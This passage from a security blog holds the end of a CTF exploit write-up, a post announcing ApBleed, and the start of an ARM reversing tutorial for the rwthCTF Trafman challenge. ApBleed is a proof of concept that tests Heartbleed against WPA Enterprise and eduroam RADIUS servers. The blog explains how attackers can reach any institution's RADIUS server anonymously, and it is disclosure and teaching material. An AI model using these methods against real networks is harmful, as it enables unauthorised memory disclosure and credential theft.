rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">flag.txt</code><span class="Apple-converted-space"> </span>in the same directory as<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">password.txt</code><span class="Apple-converted-space"> </span>(i.e. the current working directory).</div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Remark: the problem we encountered when directly calling<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">system(cmd)</code><span class="Apple-converted-space"> </span>was that it would overwrite the local buffer used in<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">decipher</code><span class="Apple-converted-space"> </span>(since it was saved on the stack). Recall that the pointer to this buffer was stored in<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">eax</code>. Luckily, in the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">read_file</code><span class="Apple-converted-space"> </span>function, the stack is used in such a way so this didn't occur.</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com1tag:blogger.com,1999:blog-3500917063499850097.post-9221355961816142342014-05-30T01:33:00.000+02:002014-05-31T16:35:40.767+02:00ApBleed: Heartbleed over WPA1/2 EnterpriseTl;dr: <a href="https://github.com/vanhoefm/apbleed">ApBleed is my proof-of-concept</a> to test heartbleed against wireless networks. Patches welcome.<br />
<br />
<div style="text-align: justify;">
Once the heartbleed vulnerability in OpenSSL was made public, most focused on its applicability to web servers. Other targets such as SVN servers, VPNs, etc. were also mentioned. However, there was little public discussion about the impact of heartbleed on wireless networks.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Nevertheless, it was clear heartbleed was also exploitable against WPA1/2 enterprise networks, even if it wasn't discussed as publicly as other heartbleed stories. Normally enterprise networks use one of the <a href="https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol">many EAP methods</a> inside an SSL tunnel to authenticate users. If OpenSSL is being used, this SSL tunnel might be vulnerable to heartbleed.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Of particular interest are networks like <a href="https://www.eduroam.org/">eduroam</a>. Eduroam is a world-wide roaming access service between research institutions. This means that I can go to a different country, see an eduroam hotspot, and connect to it using the credentials of my home institution. What's interesting is how my credentials are checked. It's done by setting up an <b>SSL tunnel to the RADIUS server of my own institution</b>. The eduroam network will take care of the <span data-dobid="hdw">necessary </span>packet routing. The image below illustrates this (<a href="https://www.eduroam.us/node/73">taken from eduroam website</a>):</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5dObS618kwHGfh6tGNOs0yVppb3VQ1raHsFCp0HiwllwBwUWi5OiOwCV0Ew9_rgPtRpkzBbCsme7SGko6UIUk4qTIxxWrHkiPjmuWdMXCvGA8MHOh23F33LsbCk488tWC256yMWuvgKoD/s1600/newrouting_small.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5dObS618kwHGfh6tGNOs0yVppb3VQ1raHsFCp0HiwllwBwUWi5OiOwCV0Ew9_rgPtRpkzBbCsme7SGko6UIUk4qTIxxWrHkiPjmuWdMXCvGA8MHOh23F33LsbCk488tWC256yMWuvgKoD/s1600/newrouting_small.png" height="400" width="600" /></a></div>
<br />
<div style="text-align: justify;">
Let's assume I'm a student at lsu.edu and currently visiting an institution of utk.edu. If I now connect to an eduroam hotspot, an SSL tunnel will be set up between my device and the RADIUS server of lsu.edu (i.e. my own institution). If my credentials are valid, lsu.edu will notify utk.edu that I should be allowed on the network.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Why is this interesting for an attacker? Because the SSL tunnel is set up before user authentication, and even before you are assigned an IP. The only thing known about you is your MAC address and your "home" institution (i.e. the realm defining your home institution). Of course, an attacker can spoof both the MAC address and the home institution. The attacker only has to be within range of an eduroam hotspot, and he or she can pick any eduroam hotspot at will. The eduroam network will then forward packets to the RADIUS server the attacker specified (i.e. the realm spoofed by the attacker). This is what allows a user to directly set up an SSL tunnel with the radius server of their home institution. However, this means we can anonymously connect to any institution we want!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The guys from eduroam quickly responded to this. Hours after heartbleed got public they posted <a href="https://confluence.terena.org/display/H2eduroam/heartbleed-note">a warning on their website</a>. One day after heartbleed, <a href="http://lists.shmoo.com/pipermail/hostap/2014-April/029976.html">with some help from the HostApd mailing list</a>, they had a working proof of concept to test whether institutions were vulnerable. To quote eduroam:</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
Following up on the heartbleed vulnerability in OpenSSL: it is
confirmed that EAP-authentication in RADIUS servers is vulnerable to the
attack. It is therefore extremely important to upgrade OpenSSL and
restart RADIUS services as soon as possible. </blockquote>
<blockquote class="tr_bq">
The attack is feasible from any public eduroam hotspot, not just your RADIUS peers.<br />
Federation-level admins in Europe will receive notice from the
eduroam OT with a list of vulnerable realms. [..] </blockquote>
<blockquote class="tr_bq">
While the tools are not publicly
available for security reasons, we're providing the service of scanning a
realm list for global federation admins on their request. [..]</blockquote>
</div>
<div style="text-align: justify;">
Though I focus on eduroam, every networking using enterprise authentication with an EAP method inside an SSL tunnel might be vulnerable to heartbleed. Nevertheless, eduroam is more interesting than your ordinary network, because it allows you to anonymously connect to any institution which has joined the eduroam federation. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Few public proof-of-concepts were available (if any at all). I can think of three reasons for this. First, not everyone was aware enterprise authentication was vulnerable to heartbleed. Second, it's a little bit harder to make a working proof-of-concept against wireless networks. Third reason might have to do with the impact of public exploits. Because authentication (and hence the SSL tunnel) takes place before getting access to a
network, it's not possible to consult a certificate revocation list
(CRL) or query the certificate status online (with OCSP) [<a href="https://confluence.terena.org/display/H2eduroam/heartbleed-note">eduroam</a>]. So revoking certificates is not possible.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
However, <a href="http://www.slideshare.net/lgrangeia/heartbleed-35236317">recently proof-of-concepts are being released</a>. So it's time to release my own proof-of-concept as well :) I modified wpa_supplicant so, once connected to an AP and ready to talk to the radius server, it opens a local socket. This means you can now connect to this socket and pretend it's the RADIUS server. <b>The big advantage of this approach is that you can use any existing heartbleed tool to test the radius server.</b> Simply let the heartbleed tool connect to the socket created by my proof-of-concept. The code has not been tested thoroughly, but worked in all my small experiments. <a href="https://github.com/vanhoefm/apbleed">Get a copy of my PoC (called ApBleed) at github.</a> Patches are welcome!</div>
<br />
Some example outputs of running my tool:<br />
<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtYlymVR1UsVhnl2g-hkXqYOA7Rm4o6Z5EZ4O5RHrOPIRqwRtsdCIzXkYufWWf0qxHxqn8N-is_RCU6KbD0lWITTX9LSbQicphxXhiO4CiD8ypMfGOHCzSQtm28Ol920vhYnuPDdIjgq3r/s1600/apbleed_supp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtYlymVR1UsVhnl2g-hkXqYOA7Rm4o6Z5EZ4O5RHrOPIRqwRtsdCIzXkYufWWf0qxHxqn8N-is_RCU6KbD0lWITTX9LSbQicphxXhiO4CiD8ypMfGOHCzSQtm28Ol920vhYnuPDdIjgq3r/s1600/apbleed_supp.png" height="217" width="600" /></a></div>
<br />
Using existing heartbleed tools to connect to the radius server:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiADC1qWrrt7KwGK3uGLV7KWC-HPDuxbPcnCbVeb2kSscvBJt7GJ56tgumLc3U-V7-V3DTkfeDLQ9HSplWrpdIe-sWPDViwe8N7iryOv9DKgR6AiSO_0WLhAwX10HGDt_dP96T0Myg9zTKy/s1600/apbleed_result.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiADC1qWrrt7KwGK3uGLV7KWC-HPDuxbPcnCbVeb2kSscvBJt7GJ56tgumLc3U-V7-V3DTkfeDLQ9HSplWrpdIe-sWPDViwe8N7iryOv9DKgR6AiSO_0WLhAwX10HGDt_dP96T0Myg9zTKy/s1600/apbleed_result.png" /></a></div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com1tag:blogger.com,1999:blog-3500917063499850097.post-72350983479876921212013-12-15T17:09:00.003+01:002014-06-12T03:45:52.778+02:00Reversing and Exploiting ARM Binaries: rwthCTF Trafman<div style="text-align: justify;">
As ARM is becoming more and more popular, the need to reverse engineer ARM binaries is increasing as well. For example, nearly all mobile phones have at least one ARM processor. In this post I show how to set up a virtual ARM environment using Qemu, give an introduction to ARM assembly (while highlighting the differences with x86), show how to reverse ARM binaries, and finally demonstrate how to write basic exploits for ARM. We will use the <a href="https://www.mediafire.com/?b27u67c779o8azp">trafman challenge</a> of <a href="http://ctf.itsec.rwth-aachen.de/">rwthCTF</a> as an example.</div>
<div style="text-align: justify;">
<br />
<br /></div>
<div style="text-align: justify;">
<b><span style="font-size: large;">Virtual ARM Environment</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
To start we need an environment capable of running ARM binaries. Since I didn't have an ARM machine I created a virtual ARM environment using Qemu. Qemu is similar to VirtualBox or VMWare, except that it can support multiple architectures. This allows you the emulate ARM on your default x86 or x64 machine.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First we need to know which ARM architecture to pick. Most Linux distributions support two architectures: <b>armel</b> and <b>armhf</b>. Armel supports the ARMv4 instruction set and emulates floating point operations in software, while armhf supports the ARMv7 instruction set and uses hardware floating point operations. At least that's the case for Debian, Ubuntu uses the term "armel" differently [<a href="https://wiki.ubuntu.com/ARM">Ubuntu FAQ</a>, <a href="http://emdebian.org/~zumbi/fosdem-arm-2011/">ARM FOSDEM</a>]. In this post I will stick to Debian. Though I haven't tested this myself, it should be possible to <a href="http://unix.stackexchange.com/a/60287">run armel binaries on an armhf system</a> (this should be true for both Ubuntu and Debian). <a href="http://emdebian.org/~zumbi/fosdem-arm-2011/">For completeness</a>, there were also the '<b>arm'</b> and <b>'armeb'</b> architectures, but they are no longer supported and don't appear to be used anymore. We will use the armhf architecture, in particular <a href="http://www.debian.org/releases/stable/armhf/release-notes/">Debian Wheezy armhf</a>.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Unlike x86/PC systems, ARM systems typically don't have a BIOS. This means nothing initializes the hardware, reads the first sector of the disk, or finds where to execute code from. Instead, Qemu allows you to start a system using a "-kernel" option. It loads the given binary into memory at 0x6001000 and uses a kernel calling convention to pass the commandline and the location of initrd [<a href="http://io.smashthestack.org/arm/">#IO ARM Challenge</a>]. In practice this means we'll always have to start Qemu using a -kernel and -initrd option.</div>
<div style="text-align: justify;">
<div style="text-align: left;">
<br /></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">
<div style="text-align: justify;">
With that background we're ready to install Debian Wheezy armhf using Qemu. First create an empty directory for the virtual environment, create a virtual harddisk for Qemu, and download the appropriate initrd and vmlinux from the Debian FTP:</div>
</div>
<div style="text-align: left;">
<ul>
<li><b>qemu-img create -f raw hda.img 3G</b></li>
<li><b>wget <a href="http://ftp.debian.org/debian/dists/wheezy/main/installer-armhf/current/images/vexpress/netboot/initrd.gz">http://ftp.debian.org/debian/dists/wheezy/main/installer-armhf/current/images/vexpress/netboot/initrd.gz</a></b></li>
<li><b>wget <a href="http://ftp.debian.org/debian/dists/wheezy/main/installer-armhf/current/images/vexpress/netboot/vmlinuz-3.2.0-4-vexpress">http://ftp.debian.org/debian/dists/wheezy/main/installer-armhf/current/images/vexpress/netboot/vmlinuz-3.2.0-4-vexpress</a></b></li>
</ul>
</div>
Note that vexpress stands for the system we will emulate, namely a Versatile Express board. We will emulate it with a cortex-a9 processor, so we pass vexpress-a9 as an argument to Qemu. Now start the installer under Qemu as follows:<br />
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<ul>
<li><b>qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.gz -append "root=/dev/mmcblk0" -drive if=sd,cache=unsafe,file=hda.img</b></li>
</ul>
</div>
Follow the instructions. A graphical environment is not required. After the installation we have to extract the installed initrd image, otherwise (if you use the downloaded initrd) the installer will again boot. To mount the virtual filesystem we first have to find the proper offset. Execute "<b>file hda.img</b>". The output should include something like "startsector 2048". The offset is now 512*2048. In case your offset is different than 2048 you will have to update the numbers in the next commands:</div>
<ul><span style="text-align: left;">
<li><b>mkdir mountdir</b></li>
<li><b>mount -o loop,offset=$((512*2048)) hda.img mountdir/</b></li>
<li><b>cp mountdir/initrd.img-3.2.0-4-vexpress .</b></li>
<li><b><b>umount mountdir/</b></b></li>
</span></ul>
<div>
And now you can boot your virtual ARM environment with:</div>
<span style="font-weight: bold; text-align: left;"></span>
<br />
<ul><span style="font-weight: bold; text-align: left;">
<li>qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd <span style="color: red;">initrd.img-3.2.0-4-vexpress</span> -append "root=/dev/<span style="color: red;">mmcblk0p2</span>" -drive if=sd,cache=unsafe,file=hda.img</li>
</span></ul>
You should now have a working Qemu environment.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSaEJ3YaZIvUtiLCuCG6lN-Eq2bAJbFcqNTJQPJrZd97pLyDsuvCau5p7T9sU0P86m7e3BkteiLNARJ7xBb1MVKSz0Uxz65zozVtMDDmcB6K6ERHryREOYrvEYqbTDVjXC9ZTLuwAuatPR/s1600/qemu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSaEJ3YaZIvUtiLCuCG6lN-Eq2bAJbFcqNTJQPJrZd97pLyDsuvCau5p7T9sU0P86m7e3BkteiLNARJ7xBb1MVKSz0Uxz65zozVtMDDmcB6K6ERHryREOYrvEYqbTDVjXC9ZTLuwAuatPR/s400/qemu.png" height="306" width="400" /></a></div>
<br />
One warning: Qemu is still an emulator. When testing rare edge cases of exotic ARM instructions (which do not occur much in practice) there's always a chance the emulator is wrong.<br />
<br />
<br />
<b><span style="font-size: large;">Network Interface in Qemu</span></b><br />
<br />
<div style="text-align: justify;">
If the program you want to reverse engineer is a network service, it is convenient to be able to connect to it from your host system. This allows you to use tools on your host system to connect and exploit the binary (while debugging it in the guest system). This is especially convenient if Qemu is slow.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
To enable network support we must specify a network device (NIC) that will be emulated. And we must specify the network backend that Qemu should use to interact with the emulated NIC. By default Qemu emulates an Intel e1000 PCI card with a user-mode network stack. User mode networking is great for allowing access to network resources, including the Internet. By default, however, it acts as a firewall and does not permit any incoming traffic. It also doesn't support protocols other than TCP and UDP. For example, ping won't work [<a href="https://en.wikibooks.org/wiki/QEMU/Networking#User_mode_networking">WikiBooks</a>].</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The first option to allow incoming traffic is port redirection. This allows you to redirect a port on the host OS to a port on the guest OS. For debugging a simple service this is sufficient. As an example, redirecting TCP port 6666 on the host to port 8080 on the guest is done as follows:</div>
<blockquote class="tr_bq">
<span style="font-weight: bold;">qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd </span><span style="font-weight: bold;">initrd.img-3.2.0-4-vexpress</span><span style="font-weight: bold;"> </span><span style="font-weight: bold;">-append "root=/dev/</span><span style="font-weight: bold;">mmcblk0p2</span><span style="font-weight: bold;">" -drive if=sd,cache=unsafe,file=hda.img<span style="color: red;"> -redir tcp:6666::8080</span></span></blockquote>
<div style="text-align: justify;">
You can now run a service on port 8080 in the Qemu guest, and connect to it from the host using port 6666. Multiple ports can be redirected. Port redirection can also be used to share folders between the guest and the host [<a href="https://en.wikibooks.org/wiki/QEMU/Networking#Redirecting_ports">WikiBooks</a>]. The downside is that you cannot dynamically add new redirects once Qemu is running. Additionally, only TCP and UDP are supported.<br />
<br /></div>
<div style="text-align: justify;">
The second option is to create a TAP interface [<a href="http://backreference.org/2010/03/26/tuntap-interface-tutorial/">Tun/Tap Intro</a>, <a href="http://wiki.qemu.org/Documentation/Networking">QemuWiki</a>]. It offers very good performance and can be configured to create virtually any type of network topology. This creates a new virtual interface on your host system, and you can use this interface to communicate with the guest. To start Qemu using a TAP interface as network backend, use the following command:</div>
<blockquote class="tr_bq">
<span style="font-weight: bold; text-align: start;">qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd </span><span style="font-weight: bold; text-align: start;">initrd.img-3.2.0-4-vexpress</span><span style="font-weight: bold; text-align: start;"> </span><span style="font-weight: bold; text-align: start;">-append "root=/dev/</span><span style="font-weight: bold; text-align: start;">mmcblk0p2</span><span style="font-weight: bold; text-align: start;">" -drive if=sd,cache=unsafe,file=hda.img <span style="color: red;">-net nic -net tap,ifname=qtap0</span></span></blockquote>
<div style="text-align: justify;">
Unfortunately you will have to manually configure IP addresses (e.g. setup a DHCP server, configure DNS, configure IP forwarding/NAT, etc). I will not go into detail here. If you don't need an internet connection and only need basic communication between the host and guest, execute the following commands in the guest:</div>
<ul>
<li>ip addr add 172.20.0.2/24 dev eth0</li>
<li>route add default gw 172.20.0.1 eth0</li>
</ul>
<div>
I prefer port redirection because it's easier to configure and is usually sufficient to get the job done.</div>
<div>
<br /></div>
<br />
<div style="text-align: justify;">
<b><span style="font-size: large;">Introduction to ARM Assembly</span></b></div>
<div style="text-align: justify;">
<br />
Simplified, an ARM processor can be in two modes: ARM mode and Thumb mode. When the CPU is in ARM mode it executes 32 bit ARM instructions, and when it is in Thumb mode it executes mixed 16- and 32-bit Thumb instructions. The purpose of Thumb mode is to improve code density. How to switch between ARM and Thumb mode will be explained shortly.<br />
<br />
In both ARM and Thumb mode we have access to 16 32-bit registers called r0..r15. Special registers are:<br />
<ul>
<li>r12: intra procedure register (ip)</li>
<li>r13: stack pointer (sp)</li>
<li>r14: link register (lr)</li>
<li>r15: program counter (pc)</li>
</ul>
Register r12 is sometimes used as an Intra Procedure (<b>ip</b>) call scratch register, meaning it holds intermediate values when a subroutine is being called. So if you see the <b>ip</b> register in a disassembly listing, it does <i>not</i> stand for instruction pointer. Finally, subroutines must preserve the contents of r4..r11 and the stack pointer r13. A few short examples:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">sub sp, #8 ; sp -= 8 // allocate stack memory</span><br />
<span style="font-family: Courier New, Courier, monospace;">add r7, sp, #0 ; r7 = sp + 0</span><br />
<span style="font-family: Courier New, Courier, monospace;">add r7, #0 ; r7 += 0</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0497a/BABJGHFJ.html">str</a> r0, [r7, #4] ; *(r7 + 4) = r0 // dereference ptr</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0497a/BABJGHFJ.html">str</a> r0, [r7, #0] ; *(r7 + 0) = r0</span><br />
<span style="font-family: Courier New, Courier, monospace;">nop ; No Operation</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/Cjagdjbf.html">movw</a> r0, #33848 ; r0[0:16] = 0x8438 // move to bottom</span><br />
<span style="font-family: Courier New, Courier, monospace;"><a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/Cjagdjbf.html">movt</a> r0, #1 ; r0[16:32] = 0x1 // move to top</span><br />
<span style="font-family: Courier New, Courier, monospace;"> ; Now r0 contains 0x18438</span></blockquote>
Here r7 is used as a frame pointer to access local variables or function arguments. Also note that certain instructions (like <span style="font-family: Courier New, Courier, monospace;">add</span>) can have three arguments (unlike the common two arguments in x86). In order to move a 32bit word in a register we need two instructions: one to set the bottom half of the register, and one to set the upper half of the register. This is a consequence of the RISC architecture of ARM: we have simple instructions that execute quickly, but must be more verbose to get stuff done.<br />
<br />
What we called jumps in x86 lingo are called <b>branches</b> in ARM. For example "<span style="font-family: Courier New, Courier, monospace;">jmp offset</span>" on x86 becomes "<span style="font-family: Courier New, Courier, monospace;">b addr</span>" in ARM. Function calls from x86 are also called branches, in particular "<span style="font-family: Courier New, Courier, monospace;">call func</span>" from x86 becomes "<span style="font-family: Courier New, Courier, monospace;">bl addr</span>" in ARM. Here BL stands for Branch and Link, meaning the program counter r15 is set to <span style="font-family: Courier New, Courier, monospace;">addr</span> and the link register r14 is set to the return address. This highlights an important difference with x86: in ARM the return address is not pushed on the stack by the caller. Instead, it it always saved in the link register (lr). The callee is responsible for saving the return address (generally the callee will save it on the stack).<br />
<br />
The instructions <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0204f/Cihfddaf.html"><span style="font-family: Courier New, Courier, monospace;">bx</span>, <span style="font-family: Courier New, Courier, monospace;">blx</span>, and <span style="font-family: Courier New, Courier, monospace;">bjx</span></a> can be used to switch processor mode from ARM to Thumb (or reverse). There are two use cases: the target is a label or the target is a register [<a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0204f/Cihfddaf.html">ARM</a>]. In the case the target is a label, the instruction is of the form "<span style="font-family: Courier New, Courier, monospace;">blx addr</span>", and the mode is always switched. In case the target is specified using a register, e.g. "<span style="font-family: Courier New, Courier, monospace;">blx lr</span>", the mode will be set according to the least significant bit (LSB) of the register. Note that all ARM and Thumb instructions must be 16-bit (two bytes) aligned, thus the least significant bit (LSB) of function addresses is in fact always zero. An even address means the target code is an ARM instruction, an uneven address means it is Thumb code. For example, when the register contains the value 0x8001 the processor will switch to Thumb mode and start executing at 0x8000. The same is true when returning from a function: if the return address is even it will switch to ARM, if it is uneven it will switch to Thumb mode. Returning can be done using "<span style="font-family: Courier New, Courier, monospace;">pop {pc}</span>" or "<span style="font-family: Courier New, Courier, monospace;">bx lr</span>". Both instructions will set the processor context accordingly. Note that branch instructions without an "X" in them do not change processor mode.<br />
<br />
One practical consequence of ARM vs. Thumb addresses is that we often see references to "symbol+1", indicating that the symbol is referring to a function in Thumb mode. Additionally we have to use correct addresses in our exploit: Your debugger might say a function starts at address 0x8000, but if it is a function using Thumb instructions we must actually use the address 0x8001 (depending on context). Finally we note that we can inspect the current mode in gdb by using the "<span style="font-family: Courier New, Courier, monospace;">i r cpsr</span>" command. <a href="http://www-mdp.eng.cam.ac.uk/web/library/enginfo/mdp_micro/lecture3/lecture3-1.html">Bit 0x20 will be set</a> if we are in Thumb mode, i.e. Thumb mode is set if (cpsr & 0x20) != 0.<br />
<br />
Let's end with the second half of the previous example:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">blx 0x82ec ; branch to 0x82ec (and switch mode)</span><br />
<span style="font-family: Courier New, Courier, monospace;">bl 0x8398 ; branch to 0x8298 (don't switch mode)</span><br />
<span style="font-family: Courier New, Courier, monospace;">add r12, r12, #8, 20 ; r12 = 0x8000</span><br />
<span style="font-family: Courier New, Courier, monospace;"> ; </span><span style="font-family: 'Courier New', Courier, monospace;">0x8000 </span><span style="font-family: Courier New, Courier, monospace;">= RotateRight(8, 2*20) [<a href="http://people.cs.umass.edu/~trekp/cs201/lecture_notes/lecture11.txt">ref</a>]</span><br />
<span style="font-family: Courier New, Courier, monospace;">mov sp, r7 ; set stack pointer to original value</span><br />
<span style="font-family: Courier New, Courier, monospace;">pop {r7, pc} ; restore r7 and return to caller</span></blockquote>
The first instruction branches to address 0x82ec and switches the current processor mode, with the return address saved in the <b>lr</b> register. In case we were executing Thumb code this return address will be uneven, otherwise it will be even. The second instruction branches to 0x8398 without switching mode (there is no <span style="font-family: Courier New, Courier, monospace;">x</span> in the branch instruction). Hence the function will be executed in the mode the processor is currently in. We also have an interesting <span style="font-family: Courier New, Courier, monospace;">add</span> instruction: it adds RotateRight(<b>8</b>, 2*<b>20</b>) to r12 (which is equal to 0x8000). For more background on how this constant is encoded read <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0204f/Cihbeage.html">the ARM documentation</a>.<br />
<br /></div>
<div style="text-align: justify;">
If you want to understand ARM in more detail, a fun way to learn it is by making an ARM intro challenge. Essentially that means displaying cool graphics using only ARM code. The full background on how to get started is on <a href="http://io.smashthestack.org/arm/">#IO STS</a>. Perhaps luckily, a detailed understanding is not required to reverse engineer a program and follow this guide.</div>
<div style="text-align: justify;">
<br />
<br /></div>
<div style="text-align: justify;">
<b><span style="font-size: large;">Reversing the Trafman Challenge</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As an example we will reverse engineer the <a href="https://www.mediafire.com/?b27u67c779o8azp">Trafman challenge</a> from rwthCTF (for the binary to work properly you need to create a directory called "db" next to the binary). We open the binary in <a href="https://www.hex-rays.com/products/ida/support/download_demo.shtml">IDA</a> and see that it failed to disassemble the first instructions:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
